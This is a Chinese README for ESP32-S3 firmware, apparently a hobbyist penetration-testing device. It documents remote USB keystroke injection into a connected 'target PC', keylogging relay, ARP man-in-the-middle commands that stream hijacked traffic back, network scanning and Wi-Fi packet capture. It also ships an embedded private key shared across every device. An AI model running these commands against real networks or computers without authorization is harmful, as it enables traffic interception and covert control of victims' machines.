基于 ESP-IDF v6.0.2 的 ESP32-S3 边缘安全调试工具。
本仓库为固件侧。若要像发烧友/用户那样通过 TCP 1234 远程控制这块 ESP (扫描/存活、传脚本 run、键盘注入 keyhub、ARP 等上位命令),请前往独立主机项目下载最新 gyscan:
用法示例(host 机器):
gyscan -s <ESP_IP> esp close主机侧 freeclient 是独立项目,不在本仓库 / 不随固件一起 git。
启动后串口显示程序化 TUI(光标隐藏 + 顶部状态栏,非逐屏回滚的重排;多级菜单):
┌---------- 欢迎使用 espgyscan ---------┐
│ 网络: 未启用 │
│ 蓝牙: 未启用 │
│ TF卡: 已挂载, 可用 3.7 GB (总 3.8 GB) │ ← 含可用空间自动单位(KB/MB/GB)
│ 存储介质: TF 卡 (/sdcard) │ ← 当前存哪:TF 卡 或 内存RAM
│ 内存(内部DRAM): 193 KB / 238 KB │
│ 储存(Flash): 16 MB │ ← N8R8=8MB,N16R8=16MB
└--------------------------------------┘
> WiFi 设置
蓝牙设置
边缘安全
Lua 脚本
固件设置 ← 收纳 TF卡/LED/语言
重启
关机
主菜单入口如下:
| 主菜单项 | 一级内容 | 说明 |
|---|---|---|
| WiFi 设置 | 扫描 WiFi 并连接 / 手动SSID密码 / 断开 / 网络与HTTP状态 / gyscan控制(1234)状态 | 先扫描→选网→按需输密码连接;默认不自动连默认AP |
| 蓝牙设置 | 开启广播(esp32-gyscan/NUS) / 关闭 / 配对其他BLE(去连) / 断开 / 状态 | 默认外设 NUS 让手机可连&双向收发 |
| 边缘安全 | 蓝牙探测、ARP 中间人、键盘模拟注入、连接 gyscan(Go程序) | 攻击/渗透测试工具 |
| Lua 脚本 | 运行/删除/存储介质的脚本 | 内置 net/pcap/ble 等库 |
| 固件设置 | TF 卡设置 / LED 模式 / 语言 | 由原 TF卡/LED/语言收拢而来 |
| 重启 | esp_restart() 复位 | 回车重启、ESC 取消 |
| 关机 | 深度睡眠 | 回车关机 |
下这些都不依赖上位机 gyscan,直接在 TUI 里选人;以“选+回车”(menu_select)代替键盘输入。
WiFi 段需要联网而 HID 注入/ARP 属于本机即插:
| 功能 | 入口 | 说明 |
|---|---|---|
| 存活主机发现 | 边缘安全 | /16、/24 两档网段选择;前10/50/100/全部 范围逐台探测 LIVE |
| 端口速扫 | 边缘安全 | 网关常用口(22/80/443/445/…约20)标 OPEN ip:port |
| Banner 指纹 | 边缘安全 | 对网关 21/22/23/80/443/445/8080 抓首行 |
| BadUSB 注入 / 多步 payload | 边缘安全 | 1) 固定样例;2) 读 /sdcard/payload.txt(支持 delay=ms、name: KEY、文本行) |
| 本地日志查看 | 边缘安全 | 读 /sdcard/log/edge.log 最近行 |
| ARP 实时视图 | 边缘安全 | MITM 运行时滚动 victim↔gateway,任意键退 |
| 注:可用 USB-HID 尾口接目标机来键盘注入/多步payload;未挂载会提示不进目标 |
相关代码:src/security/edge_extras.{c,h}(R1)、src/security/edge2.{c,h}(R2)。
TUI / 渲染(src/ui/menu.c)
- 状态栏增量:新增 TF 卡(挂载/可用/总, 自动 KB/MB/GB)、存储介质(TF 卡 或 内存RAM)两行;内存行只统计内部 DRAM 并如实标注(避免"只有200KB"误解;有 PSRAM 时会并入 total)。
- 渲染改为光标定位帧重绘:进菜单一次清屏、隐藏光标,各帧
\033[H\033[J…覆盖式更新——不再每按键整屏清屏,也不产生可回滚的整页历史(原"鼠标可滚回旧画面"的问题消除);后台 esp_log 在运行期被吸入缓冲,避免穿插切裂画面。 - 换屏(进/出子菜单、长短屏)也能完整抹掉上屏残留。
WiFi(src/net/wifi_scan.*, main/Kconfig.projbuild)
- 新菜单项「扫描 WiFi 并连接」:先扫描→列出附近 AP→用户选编号→有密码才提示输入→连接。
- 连接前断开旧关联,修复"STA connecting 下 set_config 报 ESP_ERR_WIFI_STATE"导致切网失败。
- 新增开关
GYSCAN_WIFI_AUTO_CONNECT(默认 n):默认不开机盲目连默认 SSID;顶部不自动 show 0.0.0.0 假象。net_task仅在该项=y 才建立后台自动连任务。
TCP 崩溃修复(src/net/tcp_server.c)
tcp_server_client_count()/stop()未启动(lock=NULL)时不再对 NULL 信号量取锁→修复"查看 gyscan控制(1234)状态即重启"。
LED(src/app/espgyscan.c)
- 主菜单新增子菜单「LED 模式」:呼吸 / 七色循环 / 红 / 绿 / 蓝(恒亮) / 关闭;开机默认关闭(
LED_MODE_OFF),不再常亮闪烁晃眼;不闪。 - 工程配的 5~7 色循环用 HSV 六段法平滑过橙黄绿青蓝品红。
存储/ TF(components/sdcard/*, src/app/espgyscan.c)
- 新增
sdcard_get_free()(剩余可用字节),面板显示自动换算单位;挂载状态栏也一并展示。 - 移除 auto-mount 线程里的卡枚举逐行打印(曾切花主菜单)。
- SD 卡引脚等写入
sdkconfig.defaults便于重建。
蓝牙(外设方向可用)
- 引入官方
components/ble_uart/(Nordic NimBLE NUS) 模块:Service6e400001-…,RX(写 6e400002)/TX(notify 6e400003)。「蓝牙设置→开启 广播」后 ESP 广播esp32-gyscan,手机用 nRF Connect/通用 BLE 主设备可发现、连接、读写 UART 特征;收到 RX 默认 echo 回 TX 以证明双向收发。 - 保留"配对其他 BLE(去连)"(ESP 作为 Central 去连别家),独立于外设方向。
配置(sdkconfig 层面)
- 修正 ESP32-S3 早期 SPIRAM 启动项(BOOT_HW_INIT/PRE_CONFIGURE/MEMTEST)关对真机早期 RTC 复位循环,成功进菜单(N16R8)。新增说明固化到
sdkconfig.defaults。 flash.sh(根目录)新增一键:./flash.sh 16m等,自动探测串口编译并烧录。
国际化(src/util/i18n.c)
- 补 LED 模式、重启、扫描并连接等中英词典。
git status(待提交)见仓库工作区:新增 components/ble_uart/ 与 flash.sh。
| 按键 | 功能 |
|---|---|
W / S / ↑ / ↓ |
移动选择器 |
A / D / ← / → |
左右(纵向列表预留) |
Enter |
确认 |
ESC |
返回上级菜单(根菜单时退出) |
进入 WiFi 设置 → 手动输入 SSID/密码 后,可直接在串口输入 WiFi 名称与密码
(支持回显与退格,ESC 取消)。配置后立即连接,并对后续自动重连生效。
ESP 启动后自动连接网络(可使用运行时手动配置的 SSID),成功后启动
HTTP 服务器(端口 80)。使用 curl、wget 或浏览器访问,用于探测
设备是否可被 gyscan 连接:
curl http://<ESP的IP>/
# gyscan 控制服务(1234)运行中 → ESP-GYscan:ok (可被 gyscan 连接)
# gyscan 控制服务未就绪 → ESP-GYscan:error (不可被 gyscan 连接)ESP 联网后默认开启 1234 端口,与 gyscan 主程序(freeclient)配合。freeclient 命令:
gyscan esp connect # 扫描并连接 espgyscan 设备
gyscan esp ip # 查看 ESP 网络信息(接口/IP/网关/MAC)
gyscan esp free # 查看 ESP 内存(RAM)状态
gyscan esp lsblk # 查看 ESP Flash 分区表与 TF 卡
gyscan esp version # 查看 ESP 固件版本
gyscan esp ls # 查看 ESP 上的文件(目录以 / 结尾)
gyscan esp run demo.lua # 触发 ESP 运行它已存储的脚本(demo.lua)
gyscan esp upload demo.lua # 把脚本/文件存入 ESP(先上传再 run)
gyscan esp download demo.lua out.lua # 从 ESP 下载文件
gyscan esp rm demo.lua # 删除 ESP 上的文件/文件夹(可递归删除文件夹)
gyscan esp keymap start|stop # 开启/关闭键盘记录并实时回传
gyscan esp scan 192.168.1.0/24 # 扫描网段服务
gyscan esp scan 192.168.1.5 -p 1-1000 # 扫描端口范围
gyscan esp arp 192.168.1.100 192.168.1.1 # 启动 ARP 中间人,实时回传被劫持流量
gyscan esp arp 192.168.1.100 192.168.1.1 -o cap.txt # 抓包另存到本地文件
gyscan esp arp stop # 停止 ARP 中间人
gyscan esp arp status # 查看 ARP 中间人状态
gyscan esp close # 断开连接USB-HID 键盘模拟可当作一台基于网络的攻击键盘:攻击者不用在目标电脑旁, 由 freeclient 经 1234 端口远程发键,ESP 再把键注入到“真实连到它的目标电脑”。
# 攻击者(任意连网机器)上运行:
gyscan keyhub start -ip <ESP_IP> # 进入伪键盘,此后敲的键/组合键直达目标PC
# 模式内:普通字母=文本;Ctrl+V / Alt+x / F1-F12 / 方向键等=组合/导航;Ctrl+C 结束三个前提缺一不可:
- ESP 已联网(菜单 WiFi→扫描并连接拿到 IP;
AUTO_CONNECT=n默认不自动连), TCP 1234 服务处于启动状态; - 本机 USB HID 尾插要接在“目标电脑”上(ESP 另一端 USB-OTG 需被目标机枚举成键盘);
目标机不把这根 USB 当成键盘时注入无效——
keyhub on会回WARN hid not mounted; - HID 是由 tinyusb 枚举的键盘,不是串口/USB-Serial-JTAG 那根线;串口监控请接板载 USB-Serial/JTAG 口,别与 HID 数据口混用,否则 monitor 会报 “writing to serial timeout / not interactive console”。
网络侧协议由 freeclient internal/cli/keyhub.go 定义:先 keyhub on,随后每帧发送
HID <mod_hex> <K1..K6>(组合/键码)或 TXT <字符>(可打印字符)——对应 ESP 端
src/net/tcp_server.c 的 handle_keyhub_line()(HID/TXT 帧注入)。单帧常规文本也可用
gyscan esp type "hello"(对应 type <text>)、gyscan esp key <name>。
gyscan esp free — 查看 ESP32 内存(RAM)使用状态:
$ gyscan esp free
ESP32 内存状态 @ 192.168.1.5:1234
总内存 : 242.17 KB
已用 : 118.02 KB (48.7%)
剩余 : 124.15 KB
历史最小剩余: 116.82 KB
最大连续块 : 76.00 KBgyscan esp lsblk — 查看 ESP32 Flash 分区表和 TF 卡状态:
$ gyscan esp lsblk
ESP32 Flash 分区表 @ 192.168.1.5:1234
TYPE SUB LABEL ADDR SIZE FLAGS
data 0x02 nvs 0x009000 24.00 KB
data 0x01 phy_init 0x00f000 4.00 KB
app factory factory 0x010000 4.00 MB
data 0x82 storage 0x410000 512.00 KB
DEV SIZE FLAGS
sdcard 14.50 GB -说明:
lsblk显示内部 Flash 分区表;当 TF 卡已挂载时,额外显示 TF 卡容量。
gyscan esp version — 查看 ESP32 固件版本:
$ gyscan esp version
固件版本: 0.10
ESP-IDF : v6.0.2存储介质(自动):有 TF 卡并已挂载 → 上传/下载/运行/删除全部在 TF 卡 (
/sdcard);无 TF 卡 → 文件只保存在内存 RAM,脚本由固件从内存直接执行 (不写内部 Flash,延长 Flash 芯片寿命),重启后 RAM 内容清空。run 的语义:
esp run demo.lua只把脚本名发给 ESP,由 ESP 自身读取并执行, gyscan 不解析、不执行任何脚本代码。
文本行协议(详见 freeclient/internal/esp):
| 请求 | 响应 |
|---|---|
hello |
OK hello espgyscan(设备发现用) |
netinfo |
OK netinfo iface=.. ip=.. netmask=.. gw=.. mac=.. ssid=.. heap=..(gyscan esp ip 用,未连接项为 -) |
free |
OK free total=.. free=.. min_free=.. largest_block=..(gyscan esp free 用,内存 KB) |
lsblk |
OK lsblk + [flash]分区行 + 可选 [sdcard]行 + END lsblk(gyscan esp lsblk 用,Flash 分区表 + TF 卡容量) |
version |
OK version <固件版本> idf=<IDF版本>(gyscan esp version 用,固件版本取自 project(... VERSION)) |
push <name> <len> |
收到 <len> 字节后回复 OK push <name> <len>(上传文件到 ESP,等同 write) |
pull <name> |
OK pull <len> + 原始字节(下载 ESP 文件,等同 read) |
devices |
OK devices count=N + 每行 device <ip> fd=<n> + END devices(列出当前 TCP 客户端) |
server-kill |
OK server-kill 并停止 1234 控制服务 |
server-start |
OK server-start(重启 1234 控制服务;已在运行则 OK server-start already running) |
reboot |
OK reboot 后 ESP 重启 |
poweroff |
OK poweroff 后进入深度睡眠(GPIO0 拉低唤醒) |
status |
OK status ip=.. heap=.. hid=.. ssid=.. |
storage |
OK storage media=sd|ram files=N ...(查询当前存储介质;有TF卡即 sd) |
ls |
每行一个条目(目录以 / 结尾),END ls count=N 结束 |
read <name> |
OK read <len> + 原始字节 |
write <name> <len> |
收到 <len> 字节后回复 OK write(写入当前介质) |
rm <name> / delete <name> |
删除文件;TF 卡上为文件夹时递归删除 → OK rm <name> |
run <name> |
执行 .lua 脚本;print 输出实时回传,END run 或 ERR run ... 结束 |
keymap on|off |
OK keymap on;on 后转发 KEYLOG <文本> 事件 |
KEYDATA <文本> |
上报按键记录 → ESP 广播 KEYLOG 给所有客户端 |
scan <ip|网段> [-p 范围] |
实时推送 SVC ip port,END scan 结束 |
arp <目标IP> <网关IP> |
启动 ARP 中间人攻击 → OK arp start <目标IP> <网关IP> |
arp stop |
停止 ARP 中间人 → OK arp stop |
arp status |
查询状态 → OK arp status running=<0|1> <详情> |
ARP <抓包行> |
ARP 运行中 ESP 向所有客户端广播被劫持的抓包数据(一行一帧) |
type <文本> / key <名称> |
USB 键盘注入 |
close |
OK close 并断开 |
键盘记录:ESP 自身为 USB HID 键盘设备,按键数据由电脑端采集 (gyscan 代理)通过
KEYDATA上报,ESP 转发KEYLOG事件, freeclientesp keymap start实时显示。
ARP 中间人启动:ESP 无全键盘,启动时自动扫描局域网, 用 上/下 + Enter 光标选择受害主机 IP;网关从 WiFi 接口自动检测 (检测不到再手动输入)。
ARP 中间人抓包/存储路由:
- 启用混杂模式(RX)接收被劫持的数据帧,WPA2 网络中 AP 解密并转发给 ESP 的 MAC,因此抓包在 WPA2 下同样可用;注入为尽力而为。
- 已挂载可用 TF 卡:抓包追加写入
/sdcard/arp_capture.log(默认不写 Flash)。- 未挂载 TF 卡:打印到串口,并同步通过
ARP <抓包行>回传给连接的 gyscan; freeclientesp arp <目标IP> <网关IP> -o cap.txt可将抓包另存到本地文件。- 每个抓包行为单帧记录:时间戳、源/目的 MAC、EtherType、长度与十六进制负载。
存储介质自动策略:有 TF 卡(已挂载) → 脚本/资源全部在 /sdcard(TF 卡);
无 TF 卡 → 脚本只保存在内存 RAM,由固件内嵌 Lua 5.4 运行时
(components/lua,源码在 third_party/lua)直接从内存执行(不写 Flash):
gyscan esp upload demo.lua # 无TF卡→内存RAM;有TF卡→写入TF卡
gyscan esp run demo.lua
# Hello from Lua on ESP32-S3!
# Lua says 1 1
# ...
gyscan esp rm demo.lua # 删除文件;删除文件夹传目录名(TF卡上递归删除)- 脚本
print/ 输出经 TCP 实时回传发起run的客户端; - 语法/运行错误返回
ERR run <chunk>:<行号> <原因>; - Lua 引擎为纯 C 静态组件,不依赖任何外置运行时,惰性初始化。
- 也可直接在 设备本地菜单 操作:主菜单 → Lua 脚本 → 运行 Lua 脚本 / 删除脚本文件 / 查看脚本存储,输出实时显示在串口终端。
固件把网络栈(lwIP / esp_http_client / esp-tls)以 Lua C 模块编译进运行时,
脚本创建即自动注册全局 net 表,不依赖任何 luarocks 包:
local net = require("net")
net.resolve("example.com") --> "93.184.216.34" | nil, err
local status, body = net.http_get("http://10.0.2.2/", 5000) -- 支持 http/https
print("GET", status, body)
local st, resp = net.http_post("https://host/api", "x=1", "application/x-www-form-urlencoded", 5000)
print("POST", st, resp)
local reply = net.tcp_query("10.0.2.2", 19000, "ping\r\n", 4096, 5000)
print("TCP", reply)net.http_get(url[, timeout_ms])/net.http_post(url, body[, content_type][, timeout_ms])→ 成功返回status, body,失败返回nil, err;HTTPS 由内置 CA 证书包自动校验;net.tcp_query(host, port, payload[, max_resp][, timeout_ms])→ 原始 TCP 一问一答;- 响应/数据上限 64KB,超限返回错误;全部为阻塞同步调用。
- 主机名自动剥掉误带的
http://https://前缀与路径(如connect("https://kali.org/", 443))。
为了让 LuaSocket 风格的脚本直接运行(如 freeclient/prot.lua 的端口扫描),
固件还内置了 LuaSocket 常用子集:
local socket = require("socket") -- 顶层模块
local sock = socket.tcp() -- 创建 TCP 对象
sock:settimeout(0.5) -- 超时(秒)
local ok, err = sock:connect("kali.org", 443) -- err=="timeout" 表示超时
if ok then
sock:send("GET / HTTP/1.0\r\n\r\n")
print(sock:receive("*l")) -- 读一行 / "*a" 全部 / 数字=精确字节
sock:close()
end
local http = require("socket.http")
local body, code = http.request("http://host/") -- 或 POST: http.request(url, body)
print(code, body)支持(客户端+服务端+事件循环,兼容 LuaSocket 常见写法):
socket.tcp()、socket.connect()、socket.bind(host, port[, backlog])、
socket.select(readt[, writet[, timeout]])、socket.gettime()、socket.sleep(),
TCP 对象方法 bind/listen/accept/connect/send/receive/settimeout/setoption/ getpeername/getsockname/close,及 socket.http.request。
UDP 也已内置:
-
socket.udp(),方法settimeout/connect/setpeername/send/sendto/ receive/receivefrom/getsockname/close; -
额外模块:
require("socket.dns")(toip)、require("mime")(b64/unb64,HTTP Basic 认证、SMTP 等常用)。 -
settimeout(t):t<0/省略=阻塞,t=0=非阻塞,t>0=有界等待; -
accept()无连接时返回nil,"timeout";receive()支持"*l"行 /"*a"全部 / 数字精确字节;断开会返回nil,"closed"; -
freeclient/server.lua(多客户端聊天室, bind+select+accept+广播)已在此库上跑通; -
HTTPS 仍建议使用
net.http_get(esp-tls + CA 证书包)。
local ssl = require("openssl")
local cert, err = ssl.x509.read(pem_or_der) -- PEM / DER 均可
if cert then
print(cert:subject()) -- 如 CN=example.com
print(cert:issuer())
print(cert:notBefore()) -- unix 秒
print(cert:notAfter())
print(cert:checkhost("example.com")) -- 校验域名/SAN(含 *. 通配)
end固件已内置完整 SSL 证书 server.crt / server.key(CN=espgyscan.local,含完整 X509v3 扩展,有效期 10 年),脚本可直接读取,无需上传文件:
local ssl = require("openssl")
-- 读取固件嵌入的证书(无需文件系统)
local cert = ssl.x509.read_embedded("server.crt")
if cert then
print("Subject: " .. cert:subject())
print("Issuer: " .. cert:issuer())
print("Valid: " .. cert:notBefore() .. " ~ " .. cert:notAfter())
else
print("embedded cert not found")
end
-- 也可读取嵌入的私钥(仅用于调试输出,不导出私钥内容)
local key = ssl.x509.read_embedded("server.key")注意:嵌入的证书为自签名 SSL 证书(
main/data/server.crt),含完整 X509v3 扩展(SAN、密钥用法、扩展密钥用法),可用于开发测试。生产环境请替换为自己的证书后重新编译,或上传自定义证书到 TF 卡用ssl.x509.read()读取。
freeclient/ssl.lua(证书文件检查:subject/issuer/有效期/域名匹配)使用的 API 均已内置;- 证书文件需上传到已挂载 TF 卡(如
/sdcard/server.crt),脚本内用绝对路径打开, 或直接把 PEM/DER 内容作为字符串传入ssl.x509.read()(RAM 脚本无真实文件系统路径)。
- 已安装 ESP-IDF(本仓库在 v6.0.2 下验证),执行
idf.py --version确认 - 首次构建需要联网拉取托管组件
espressif/led_strip、espressif/esp_tinyusb
idf.py menuconfig → gyscan Configuration 与 SD Card Configuration:
| 配置项 | 默认值 | 说明 |
|---|---|---|
GYSCAN_WIFI_SSID / 密码 |
MyWiFi |
「配对/扫描并连」等用到的默认连接凭证 |
GYSCAN_WIFI_AUTO_CONNECT |
n | 为 y 时上电后台自动连默认 SSID;默认不自动连(联网由菜单扫描) |
| HTTP 服务器端口 | 80 |
curl/wget/浏览器端口(联网后自动启动) |
| 远程控制 TCP 端口 | 1234 |
gyscan 控制服务端口(联网后自动启动) |
| 蓝牙扫描时长 | 5000ms |
"边缘安全→蓝牙探测" / 配对扫描时长 |
GYSCAN_SDCARD_ENABLE/AUTO_DETECT |
on | TF 卡开关 / 开机自动探测挂载 |
GYSCAN_SDCARD_SPI_HOST |
2 |
TF 卡 SPI 主机(SPI3) |
| TF 卡引脚 MISO/MOSI/CLK/CS | 13/11/12/10 |
需与你的 TF 卡模块接线一致 |
| LED 主控 GPIO / 周期 | 48 / 1000ms |
WS2812(DevKit 1.0=48,1.1+=38) |
WiFi “扫描并连接”无需改默认 SSID——直接在菜单里选号/输密码。
TF/microSD 卡模块通过 SPI 连到 ESP32-S3(挂载点 /sdcard),按功能图接线:
| TF 卡模块引脚 | ESP32-S3 引脚(按功能图) | 说明 |
|---|---|---|
3V3 |
3.3V(图中左上角红色区域) | 供电,严禁接 5V |
GND |
GND(图中左下角或右下角黑色区域) | 共地 |
CLK |
GPIO12(左侧第12号引脚) | 串行时钟 |
MOSI |
GPIO11(左侧第11号引脚) | 主机输出 → 从机输入 |
MISO |
GPIO13(左侧第13号引脚) | 主机输入 ← 从机输出 |
CS |
GPIO10(左侧第10号引脚) | 片选(可换其它空闲 GPIO) |
烧录后主菜单状态栏显示 TF卡: 已挂载, 可用 xxx (总 xxx) 且「存储介质: TF 卡(/sdcard)」即说明识别成功。
若显示 未挂载:先检查供电/杜邦接触/卡插实;新卡(白色/无文件系统)请到 固件设置 → TF 卡设置 → 格式化 后用 FAT32 挂载。
sdkconfig 默认已固定为上述引脚:CLK12 MOSI11 MISO13 CS10,SPI_HOST=2(SPI3),开机自动探测挂载。 若要换 CS 到其它空闲 GPIO0-48,请在
idf.py menuconfig → SD Card Configuration修改并在接线表同步。
本固件适配 ESP32-S3 的两个芯片型号,编译时用 tools/build.sh 选择版本即可:
| 版本 | 芯片型号 | Flash | PSRAM | 构建目录 | 分区表 |
|---|---|---|---|---|---|
8m(默认) |
N8R8 | 8MB | 8MB(八线 OPI) | build-8m/ |
partitions.csv |
16m |
N16R8 | 16MB | 8MB(八线 OPI) | build-16m/ |
partitions_16m.csv |
- 两个版本的 sdkconfig 分别存放在
build-8m/sdkconfig与build-16m/sdkconfig,互不干扰; 公共配置见sdkconfig.defaults,16M 差异见sdkconfig.defaults.16m(Flash 大小 →CONFIG_ESPTOOLPY_FLASHSIZE_16MB、分区表 →partitions_16m.csv)。 - 两版均默认启用 8MB 八线 PSRAM(
CONFIG_SPIRAM_MODE_OCT+SPIRAM_SPEED_80M); 运行在无 PSRAM 的板子上时因CONFIG_SPIRAM_IGNORE_NOTFOUND=y不会 panic,仅回退内部 RAM。 - 分区表中
storage(spiffs) 分区仅供 QEMU 模拟使用;真机固件从不挂载/写入该分区。
./flash.sh <8m|16m> 一键编译并烧录(自动探测 /dev/ttyACM*,PORT= 可覆盖):
./flash.sh 16m # N16R8:编译+烧录
./flash.sh # N8R8:编译+烧录(默认)
./flash.sh 16m build # 仅编译
./flash.sh 16m monitor # 编译+烧录+进入串口监视(115200)
./flash.sh 8m menuconfig也可用底层 tools/build.sh 手工控制:
# N8R8(Flash 8MB,默认)
./tools/build.sh # 构建(等价 build 8m)
./tools/build.sh 8m flash # 构建并烧录
./tools/build.sh 8m flash monitor # 构建 + 烧录 + 串口监视(115200)
# N16R8(Flash 16MB)
./tools/build.sh 16m # 构建
./tools/build.sh 16m flash # 构建并烧录
./tools/build.sh 16m flash monitor
- 每次调用自动选择对应的
-DSDKCONFIG_DEFAULTS与构建目录;切换版本只需换8m/16m参数,无需删除任何配置。- 也可绕过脚本直接用 idf.py:加
-B build-16m -DSDKCONFIG=build-16m/sdkconfig -DSDKCONFIG_DEFAULTS="sdkconfig.defaults;sdkconfig.defaults.16m"即等价于 16m。- 退出串口监视器:
Ctrl+]- 若想改 WiFi/密码/端口等,先构建一次生成 sdkconfig,再
./tools/build.sh 8m menuconfig(或16m menuconfig)后重新构建。
- N8R8:Flash 8MB,烧录参数
--flash-size 8MB,分区表partitions.csv - N16R8:Flash 16MB,烧录参数
--flash-size 16MB,分区表partitions_16m.csv - 两版共用布局:nvs + phy_init + 4MB app(factory) + storage(spiffs,QEMU 用)
- 8MB 版 storage 512KB;16MB 版 storage 8MB
- 主菜单“储存(Flash)”实时读取芯片实际大小(
esp_flash_get_size),无需硬编码
存储策略(真机):固件不在内部 Flash 写文件。脚本/文件存储自动选择: 有 TF 卡并已挂载 → 写入 TF 卡
/sdcard;无 TF 卡 → 只存内存 RAM(重启清空)。storage分区仅保留在分区表中供 QEMU 模拟环境使用,真机代码不会挂载 SPIFFS。
| 开发板 | LED | GPIO |
|---|---|---|
| ESP32-S3-DevKitC-1 v1.0 | WS2812 RGB | GPIO48 |
| ESP32-S3-DevKitC-1 v1.1+ | WS2812 RGB | GPIO38 |
| 自接普通 LED | GPIO 电平 | 任意空闲 GPIO |
如需使用普通 GPIO LED,在 idf.py menuconfig → Blink Configuration → 将 LED 类型改为 GPIO,并修改 GPIO 号。
固件内置 pcap 模块,基于 ESP-IDF 原生 esp_wifi 混杂模式(与 arp_mitm 同一套 API),无需 libpcap / luarocks。脚本可直接抓取 WiFi 数据帧,适用于被动流量分析、协议调试等场景。
前提:ESP 必须已连接 WiFi(AP 解密后转发给本机的明文数据帧);仅支持单个活跃 handle。
-- 开启抓包(可选 snaplen,默认 256 字节)
local h = pcap.open()
if not h then print("open failed"); return end
-- 可选:设置简易过滤字符串(nil 清除)
pcap.filter(h, "ip tcp")
-- 循环抓 10 帧,每帧最多等 1 秒
for i = 1, 10 do
local f = pcap.next(h, 1000)
if not f then print("timeout"); break end
-- f = { data, src, dst, ethertype, timestamp, length, rssi }
print(string.format("[%u] %s -> %s eth=0x%04x len=%u rssi=%d",
f.timestamp, f.src, f.dst, f.ethertype, f.length, f.rssi))
end
pcap.close(h)| 函数 | 签名 | 返回值 | 说明 |
|---|---|---|---|
pcap.open |
([snaplen]) |
handle | nil, err |
开启 WiFi 混杂模式抓包,返回句柄 |
pcap.next |
(handle[, timeout_ms]) |
frame | nil |
取下一帧;timeout_ms 省略则阻塞等待,超时返回 nil |
pcap.close |
(handle) |
true |
关闭抓包,恢复 WiFi 省电模式 |
pcap.filter |
(handle[, bpf]) |
true |
设置/清除简易过滤字符串(nil 或省略清除) |
pcap.interfaces |
() |
{ "wlan0", ... } |
可用抓包接口列表 |
pcap.parse |
(data[, offset]) |
{src,dst,ethertype,payload} |
解析 802.3 以太网头(原始字节 → 字段) |
pcap.next 返回的帧表包含:
| 字段 | 类型 | 说明 |
|---|---|---|
data |
string | 内层 LLC/SNAP 负载原始字节(已被 snaplen 截断) |
src |
string | 源 MAC 地址,如 "aa:bb:cc:dd:ee:ff" |
dst |
string | 目的 MAC 地址 |
ethertype |
integer | 以太网类型,如 0x0800=IPv4, 0x0806=ARP |
timestamp |
integer | 时间戳(微秒,esp_timer_get_time 派生) |
length |
integer | data 实际长度 |
rssi |
integer | 信号强度(dBm) |
- 混杂模式回调运行在 WiFi RX 任务上下文,仅做帧快照(malloc → 队列),快速返回
- 解析逻辑与
arp_mitm.promisc_rx_cb一致:仅处理 Data 帧(type=2),支持 QoS Data(头长 26 字节),从 LLC/SNAP 偏移 +6 处提取 ethertype - 捕获期间自动
esp_wifi_set_ps(WIFI_PS_NONE)关闭省电,pcap.close或__gc时恢复WIFI_PS_MIN_MODEM - 句柄带
__gc元方法,脚本忘写pcap.close时也能自动清理
固件内置 ble 模块,基于 ESP-IDF 原生 NimBLE 协议栈(与 ble_scan.c 同一套 API),无需 luarocks。脚本可直接扫描附近 BLE 广播设备、查询状态、发起配对。ESP32-S3 仅支持 BLE(不支持经典蓝牙)。
-- 查询蓝牙状态
print(ble.status()) -- "已就绪" / "未启用"
-- 扫描附近 BLE 设备(默认 5 秒,可指定毫秒数)
local devs = ble.scan(5000)
if devs then
for i, d in ipairs(devs) do
print(string.format("[%d] %-20s %s RSSI: %d dBm", i, d.name, d.addr, d.rssi))
end
end
-- 与指定地址的设备配对(阻塞,直到成功/超时)
local ok, err = ble.pair("aa:bb:cc:dd:ee:ff")
if ok then print("paired") else print("pair failed: " .. err) end
-- 断开当前连接
ble.disconnect()| 函数 | 签名 | 返回值 | 说明 |
|---|---|---|---|
ble.scan |
([duration_ms]) |
{ devices } | nil, err |
扫描附近 BLE 设备;duration 范围 500..60000 ms,默认 5000 |
ble.status |
() |
string | 蓝牙状态文本,如 "已就绪"/"未启用" |
ble.pair |
(addr) |
true | nil, err |
连接并配对指定地址(格式 aa:bb:cc:dd:ee:ff) |
ble.disconnect |
() |
true | nil, err |
断开当前 BLE 连接 |
ble.scan 返回的设备表中,每个设备包含:
| 字段 | 类型 | 说明 |
|---|---|---|
name |
string | 设备广播名(解析自 Advertising Data),无名称时为 "<无名称>" |
addr |
string | BLE 地址,如 "aa:bb:cc:dd:ee:ff" |
rssi |
integer | 信号强度(dBm) |
- 底层调用
ble_scan_perform()/ble_pair_address()/ble_disconnect(),均为 ble_scan.c 新增的非交互式 API - 扫描使用被动扫描(
passive=1)、自动过滤重复广播(filter_duplicates=1) - 配对流程:连接(15s 超时)→ 发起加密(20s 超时),共享
ble_gap_event_handlerGAP 事件回调 - 扫描/配对期间阻塞 Lua 协程(
xSemaphoreTake),不占用额外任务栈 - 地址解析支持
aa:bb:cc:dd:ee:ff冒号分隔格式,自动识别为随机地址类型
espgyscan/
├── CMakeLists.txt # 顶层 CMake
├── partitions.csv # 分区表 8MB(N8R8):nvs + phy + 4MB app + storage
├── partitions_16m.csv # 分区表 16MB(N16R8):同上但 storage 扩至 8MB
├── sdkconfig.defaults # 默认配置(目标芯片、蓝牙、Flash 8M、PSRAM、TinyUSB)
├── sdkconfig.defaults.16m # 16M(N16R8) 覆盖:Flash 16MB + partitions_16m.csv
├── tools/
│ └── build.sh # 一键选择 Flash 版本编译/烧录:8m | 16m
├── main/ # ESP-IDF main 组件(仅构建配置)
│ ├── CMakeLists.txt # 引用 ../src 源码
│ ├── Kconfig.projbuild # menuconfig 选项定义
│ └── idf_component.yml # 托管组件依赖(led_strip、esp_tinyusb)
├── components/lua/ # Lua 引擎 IDF 组件(lua_embed.c / include/)
├── third_party/lua/ # Lua 5.4.7 官方源码(纯 C,静态编译进固件)
├── src/ # 【全部固件源码】
│ ├── app/espgyscan.c # 主程序:主菜单 + 后台任务
│ ├── menu.c / menu.h # 菜单框架(WASD/方向键/ESC/Enter、多级菜单、行输入)
│ ├── i18n.c / i18n.h # 界面国际化(中/英)
│ ├── wifi_scan.c / .h # WiFi 连接/运行时SSID配置/断开/状态
│ ├── ble_scan.c / .h # BLE 探测 + 蓝牙配对(可ESC取消) + 状态
│ ├── tcp_client.c / .h # TCP 客户端(连接 Go 程序)
│ ├── hid_keyboard.c / .h # USB HID 键盘设备
│ ├── http_server.c / .h # HTTP 状态服务
│ ├── tcp_server.c / .h # gyscan 控制服务器(1234)
│ ├── script_store.c / .h # 脚本存储(自动: TF卡 或 内存RAM, 不写Flash) + run(Lua)执行
│ ├── lua/lua_net.c / .h # 内置 Lua net 模块(HTTP/HTTPS/DNS/TCP, 无需 luarocks)
